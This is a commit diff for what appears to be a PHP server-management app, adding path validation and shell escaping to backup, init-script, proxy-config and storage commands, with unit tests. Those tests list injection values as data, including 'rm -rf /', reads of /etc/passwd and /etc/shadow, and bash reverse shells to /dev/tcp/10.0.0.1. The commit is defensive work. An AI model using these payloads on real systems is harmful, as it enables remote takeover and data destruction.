fix: enhance security by validating and escaping database names, file paths, and proxy configuration filenames to prevent command injection
This commit is contained in:
parent
e60e74ac90
commit
0073d045fb
11 changed files with 439 additions and 32 deletions
|
|
@ -489,17 +489,22 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
|
|||
$collectionsToExclude = collect();
|
||||
}
|
||||
$commands[] = 'mkdir -p '.$this->backup_dir;
|
||||
|
||||
// Validate and escape database name to prevent command injection
|
||||
validateShellSafePath($databaseName, 'database name');
|
||||
$escapedDatabaseName = escapeshellarg($databaseName);
|
||||
|
||||
if ($collectionsToExclude->count() === 0) {
|
||||
if (str($this->database->image)->startsWith('mongo:4')) {
|
||||
$commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
|
||||
} else {
|
||||
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --archive > $this->backup_location";
|
||||
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
|
||||
}
|
||||
} else {
|
||||
if (str($this->database->image)->startsWith('mongo:4')) {
|
||||
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
|
||||
} else {
|
||||
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
|
||||
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -525,7 +530,10 @@ private function backup_standalone_postgresql(string $database): void
|
|||
if ($this->backup->dump_all) {
|
||||
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
|
||||
} else {
|
||||
$backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $database > $this->backup_location";
|
||||
// Validate and escape database name to prevent command injection
|
||||
validateShellSafePath($database, 'database name');
|
||||
$escapedDatabase = escapeshellarg($database);
|
||||
$backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location";
|
||||
}
|
||||
|
||||
$commands[] = $backupCommand;
|
||||
|
|
@ -547,7 +555,10 @@ private function backup_standalone_mysql(string $database): void
|
|||
if ($this->backup->dump_all) {
|
||||
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
|
||||
} else {
|
||||
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $database > $this->backup_location";
|
||||
// Validate and escape database name to prevent command injection
|
||||
validateShellSafePath($database, 'database name');
|
||||
$escapedDatabase = escapeshellarg($database);
|
||||
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location";
|
||||
}
|
||||
$this->backup_output = instant_remote_process($commands, $this->server);
|
||||
$this->backup_output = trim($this->backup_output);
|
||||
|
|
@ -567,7 +578,10 @@ private function backup_standalone_mariadb(string $database): void
|
|||
if ($this->backup->dump_all) {
|
||||
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
|
||||
} else {
|
||||
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $database > $this->backup_location";
|
||||
// Validate and escape database name to prevent command injection
|
||||
validateShellSafePath($database, 'database name');
|
||||
$escapedDatabase = escapeshellarg($database);
|
||||
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location";
|
||||
}
|
||||
$this->backup_output = instant_remote_process($commands, $this->server);
|
||||
$this->backup_output = trim($this->backup_output);
|
||||
|
|
|
|||
|
|
@ -107,6 +107,15 @@ public function syncData(bool $toModel = false)
|
|||
$this->backup->save_s3 = $this->saveS3;
|
||||
$this->backup->disable_local_backup = $this->disableLocalBackup;
|
||||
$this->backup->s3_storage_id = $this->s3StorageId;
|
||||
|
||||
// Validate databases_to_backup to prevent command injection
|
||||
if (filled($this->databasesToBackup)) {
|
||||
$databases = str($this->databasesToBackup)->explode(',');
|
||||
foreach ($databases as $db) {
|
||||
validateShellSafePath(trim($db), 'database name');
|
||||
}
|
||||
}
|
||||
|
||||
$this->backup->databases_to_backup = $this->databasesToBackup;
|
||||
$this->backup->dump_all = $this->dumpAll;
|
||||
$this->backup->timeout = $this->timeout;
|
||||
|
|
|
|||
|
|
@ -328,12 +328,15 @@ public function save_init_script($script)
|
|||
$configuration_dir = database_configuration_dir().'/'.$container_name;
|
||||
|
||||
if ($oldScript && $oldScript['filename'] !== $script['filename']) {
|
||||
$old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}";
|
||||
$delete_command = "rm -f $old_file_path";
|
||||
try {
|
||||
// Validate and escape filename to prevent command injection
|
||||
validateShellSafePath($oldScript['filename'], 'init script filename');
|
||||
$old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}";
|
||||
$escapedOldPath = escapeshellarg($old_file_path);
|
||||
$delete_command = "rm -f {$escapedOldPath}";
|
||||
instant_remote_process([$delete_command], $this->server);
|
||||
} catch (Exception $e) {
|
||||
$this->dispatch('error', 'Failed to remove old init script from server: '.$e->getMessage());
|
||||
$this->dispatch('error', $e->getMessage());
|
||||
|
||||
return;
|
||||
}
|
||||
|
|
@ -370,13 +373,17 @@ public function delete_init_script($script)
|
|||
if ($found) {
|
||||
$container_name = $this->database->uuid;
|
||||
$configuration_dir = database_configuration_dir().'/'.$container_name;
|
||||
$file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}";
|
||||
|
||||
$command = "rm -f $file_path";
|
||||
try {
|
||||
// Validate and escape filename to prevent command injection
|
||||
validateShellSafePath($script['filename'], 'init script filename');
|
||||
$file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}";
|
||||
$escapedPath = escapeshellarg($file_path);
|
||||
|
||||
$command = "rm -f {$escapedPath}";
|
||||
instant_remote_process([$command], $this->server);
|
||||
} catch (Exception $e) {
|
||||
$this->dispatch('error', 'Failed to remove init script from server: '.$e->getMessage());
|
||||
$this->dispatch('error', $e->getMessage());
|
||||
|
||||
return;
|
||||
}
|
||||
|
|
@ -405,6 +412,16 @@ public function save_new_init_script()
|
|||
'new_filename' => 'required|string',
|
||||
'new_content' => 'required|string',
|
||||
]);
|
||||
|
||||
try {
|
||||
// Validate filename to prevent command injection
|
||||
validateShellSafePath($this->new_filename, 'init script filename');
|
||||
} catch (Exception $e) {
|
||||
$this->dispatch('error', $e->getMessage());
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$found = collect($this->initScripts)->firstWhere('filename', $this->new_filename);
|
||||
if ($found) {
|
||||
$this->dispatch('error', 'Filename already exists.');
|
||||
|
|
|
|||
|
|
@ -179,6 +179,10 @@ public function submitFileStorageDirectory()
|
|||
$this->file_storage_directory_destination = trim($this->file_storage_directory_destination);
|
||||
$this->file_storage_directory_destination = str($this->file_storage_directory_destination)->start('/')->value();
|
||||
|
||||
// Validate paths to prevent command injection
|
||||
validateShellSafePath($this->file_storage_directory_source, 'storage source path');
|
||||
validateShellSafePath($this->file_storage_directory_destination, 'storage destination path');
|
||||
|
||||
\App\Models\LocalFileVolume::create([
|
||||
'fs_path' => $this->file_storage_directory_source,
|
||||
'mount_path' => $this->file_storage_directory_destination,
|
||||
|
|
|
|||
|
|
@ -26,12 +26,19 @@ public function delete(string $fileName)
|
|||
$proxy_path = $this->server->proxyPath();
|
||||
$proxy_type = $this->server->proxyType();
|
||||
$file = str_replace('|', '.', $fileName);
|
||||
|
||||
// Validate filename to prevent command injection
|
||||
validateShellSafePath($file, 'proxy configuration filename');
|
||||
|
||||
if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
|
||||
$this->dispatch('error', 'Cannot delete Caddyfile.');
|
||||
|
||||
return;
|
||||
}
|
||||
instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server);
|
||||
|
||||
$fullPath = "{$proxy_path}/dynamic/{$file}";
|
||||
$escapedPath = escapeshellarg($fullPath);
|
||||
instant_remote_process(["rm -f {$escapedPath}"], $this->server);
|
||||
if ($proxy_type === 'CADDY') {
|
||||
$this->server->reloadCaddy();
|
||||
}
|
||||
|
|
|
|||
|
|
@ -41,6 +41,10 @@ public function addDynamicConfiguration()
|
|||
'fileName' => 'required',
|
||||
'value' => 'required',
|
||||
]);
|
||||
|
||||
// Validate filename to prevent command injection
|
||||
validateShellSafePath($this->fileName, 'proxy configuration filename');
|
||||
|
||||
if (data_get($this->parameters, 'server_uuid')) {
|
||||
$this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
|
||||
}
|
||||
|
|
@ -65,8 +69,10 @@ public function addDynamicConfiguration()
|
|||
}
|
||||
$proxy_path = $this->server->proxyPath();
|
||||
$file = "{$proxy_path}/dynamic/{$this->fileName}";
|
||||
$escapedFile = escapeshellarg($file);
|
||||
|
||||
if ($this->newFile) {
|
||||
$exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server);
|
||||
$exists = instant_remote_process(["test -f {$escapedFile} && echo 1 || echo 0"], $this->server);
|
||||
if ($exists == 1) {
|
||||
$this->dispatch('error', 'File already exists');
|
||||
|
||||
|
|
@ -80,7 +86,7 @@ public function addDynamicConfiguration()
|
|||
}
|
||||
$base64_value = base64_encode($this->value);
|
||||
instant_remote_process([
|
||||
"echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null",
|
||||
"echo '{$base64_value}' | base64 -d | tee {$escapedFile} > /dev/null",
|
||||
], $this->server);
|
||||
if ($proxy_type === 'CADDY') {
|
||||
$this->server->reloadCaddy();
|
||||
|
|
|
|||
|
|
@ -61,9 +61,14 @@ public function loadStorageOnServer()
|
|||
$path = $path->after('.');
|
||||
$path = $workdir.$path;
|
||||
}
|
||||
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
|
||||
|
||||
// Validate and escape path to prevent command injection
|
||||
validateShellSafePath($path, 'storage path');
|
||||
$escapedPath = escapeshellarg($path);
|
||||
|
||||
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
|
||||
if ($isFile === 'OK') {
|
||||
$content = instant_remote_process(["cat $path"], $server, false);
|
||||
$content = instant_remote_process(["cat {$escapedPath}"], $server, false);
|
||||
// Check if content contains binary data by looking for null bytes or non-printable characters
|
||||
if (str_contains($content, "\0") || preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content)) {
|
||||
$content = '[binary file]';
|
||||
|
|
@ -91,14 +96,19 @@ public function deleteStorageOnServer()
|
|||
$path = $path->after('.');
|
||||
$path = $workdir.$path;
|
||||
}
|
||||
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
|
||||
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
|
||||
|
||||
// Validate and escape path to prevent command injection
|
||||
validateShellSafePath($path, 'storage path');
|
||||
$escapedPath = escapeshellarg($path);
|
||||
|
||||
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
|
||||
$isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server);
|
||||
if ($path && $path != '/' && $path != '.' && $path != '..') {
|
||||
if ($isFile === 'OK') {
|
||||
$commands->push("rm -rf $path > /dev/null 2>&1 || true");
|
||||
$commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true");
|
||||
} elseif ($isDir === 'OK') {
|
||||
$commands->push("rm -rf $path > /dev/null 2>&1 || true");
|
||||
$commands->push("rmdir $path > /dev/null 2>&1 || true");
|
||||
$commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true");
|
||||
$commands->push("rmdir {$escapedPath} > /dev/null 2>&1 || true");
|
||||
}
|
||||
}
|
||||
if ($commands->count() > 0) {
|
||||
|
|
@ -135,10 +145,15 @@ public function saveStorageOnServer()
|
|||
$path = $path->after('.');
|
||||
$path = $workdir.$path;
|
||||
}
|
||||
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
|
||||
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
|
||||
|
||||
// Validate and escape path to prevent command injection
|
||||
validateShellSafePath($path, 'storage path');
|
||||
$escapedPath = escapeshellarg($path);
|
||||
|
||||
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
|
||||
$isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server);
|
||||
if ($isFile === 'OK' && $this->is_directory) {
|
||||
$content = instant_remote_process(["cat $path"], $server, false);
|
||||
$content = instant_remote_process(["cat {$escapedPath}"], $server, false);
|
||||
$this->is_directory = false;
|
||||
$this->content = $content;
|
||||
$this->save();
|
||||
|
|
@ -151,8 +166,8 @@ public function saveStorageOnServer()
|
|||
throw new \Exception('The following file is a directory on the server, but you are trying to mark it as a file. <br><br>Please delete the directory on the server or mark it as directory.');
|
||||
}
|
||||
instant_remote_process([
|
||||
"rm -fr $path",
|
||||
"touch $path",
|
||||
"rm -fr {$escapedPath}",
|
||||
"touch {$escapedPath}",
|
||||
], $server, false);
|
||||
FileStorageChanged::dispatch(data_get($server, 'team_id'));
|
||||
}
|
||||
|
|
@ -161,19 +176,19 @@ public function saveStorageOnServer()
|
|||
$chown = data_get($this, 'chown');
|
||||
if ($content) {
|
||||
$content = base64_encode($content);
|
||||
$commands->push("echo '$content' | base64 -d | tee $path > /dev/null");
|
||||
$commands->push("echo '$content' | base64 -d | tee {$escapedPath} > /dev/null");
|
||||
} else {
|
||||
$commands->push("touch $path");
|
||||
$commands->push("touch {$escapedPath}");
|
||||
}
|
||||
$commands->push("chmod +x $path");
|
||||
$commands->push("chmod +x {$escapedPath}");
|
||||
if ($chown) {
|
||||
$commands->push("chown $chown $path");
|
||||
$commands->push("chown $chown {$escapedPath}");
|
||||
}
|
||||
if ($chmod) {
|
||||
$commands->push("chmod $chmod $path");
|
||||
$commands->push("chmod $chmod {$escapedPath}");
|
||||
}
|
||||
} elseif ($isDir === 'NOK' && $this->is_directory) {
|
||||
$commands->push("mkdir -p $path > /dev/null 2>&1 || true");
|
||||
$commands->push("mkdir -p {$escapedPath} > /dev/null 2>&1 || true");
|
||||
}
|
||||
|
||||
return instant_remote_process($commands, $server);
|
||||
|
|
|
|||
83
tests/Unit/DatabaseBackupSecurityTest.php
Normal file
83
tests/Unit/DatabaseBackupSecurityTest.php
Normal file
|
|
@ -0,0 +1,83 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Database Backup Security Tests
|
||||
*
|
||||
* Tests to ensure database backup functionality is protected against
|
||||
* command injection attacks via malicious database names.
|
||||
*
|
||||
* Related Issues: #2 in security_issues.md
|
||||
* Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php
|
||||
*/
|
||||
test('database backup rejects command injection in database name with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with semicolon separator', function () {
|
||||
expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with pipe operator', function () {
|
||||
expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('test & whoami', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with newlines', function () {
|
||||
expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments properly', function () {
|
||||
$database = "test'db";
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test'\\''db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with double quotes', function () {
|
||||
$database = 'test"db';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test\"db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with spaces', function () {
|
||||
$database = 'test database';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test database'");
|
||||
});
|
||||
|
||||
test('database backup accepts legitimate database names', function () {
|
||||
expect(fn () => validateShellSafePath('postgres', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('my_database', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('db-prod', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test123', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
93
tests/Unit/FileStorageSecurityTest.php
Normal file
93
tests/Unit/FileStorageSecurityTest.php
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* File Storage Security Tests
|
||||
*
|
||||
* Tests to ensure file storage directory mount functionality is protected against
|
||||
* command injection attacks via malicious storage paths.
|
||||
*
|
||||
* Related Issues: #6 in security_issues.md
|
||||
* Related Files:
|
||||
* - app/Models/LocalFileVolume.php
|
||||
* - app/Livewire/Project/Service/Storage.php
|
||||
*/
|
||||
test('file storage rejects command injection in path with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage escapes paths properly', function () {
|
||||
$path = "/var/www/app's data";
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app'\\''s data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with spaces', function () {
|
||||
$path = '/var/www/my app/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/my app/data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with special characters', function () {
|
||||
$path = '/var/www/app (production)/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app (production)/data'");
|
||||
});
|
||||
|
||||
test('file storage accepts legitimate absolute paths', function () {
|
||||
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage accepts paths with underscores and hyphens', function () {
|
||||
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
76
tests/Unit/PostgresqlInitScriptSecurityTest.php
Normal file
76
tests/Unit/PostgresqlInitScriptSecurityTest.php
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* PostgreSQL Init Script Security Tests
|
||||
*
|
||||
* Tests to ensure PostgreSQL init script management is protected against
|
||||
* command injection attacks via malicious filenames.
|
||||
*
|
||||
* Related Issues: #3, #4 in security_issues.md
|
||||
* Related Files: app/Livewire/Project/Database/Postgresql/General.php
|
||||
*/
|
||||
test('postgresql init script rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('test | whoami', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('test`id`', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('test && whoami', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script escapes filenames properly', function () {
|
||||
$filename = "init'script.sql";
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'init'\\''script.sql'");
|
||||
});
|
||||
|
||||
test('postgresql init script escapes special characters', function () {
|
||||
$filename = 'init script with spaces.sql';
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'init script with spaces.sql'");
|
||||
});
|
||||
|
||||
test('postgresql init script accepts legitimate filenames', function () {
|
||||
expect(fn () => validateShellSafePath('init.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('init-script.sh', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
83
tests/Unit/ProxyConfigurationSecurityTest.php
Normal file
83
tests/Unit/ProxyConfigurationSecurityTest.php
Normal file
|
|
@ -0,0 +1,83 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Proxy Configuration Security Tests
|
||||
*
|
||||
* Tests to ensure dynamic proxy configuration management is protected against
|
||||
* command injection attacks via malicious filenames.
|
||||
*
|
||||
* Related Issues: #5 in security_issues.md
|
||||
* Related Files:
|
||||
* - app/Livewire/Server/Proxy/NewDynamicConfiguration.php
|
||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'config'\\''test.yaml'");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames with spaces', function () {
|
||||
$filename = 'my config.yaml';
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'my config.yaml'");
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
Loading…
Reference in a new issue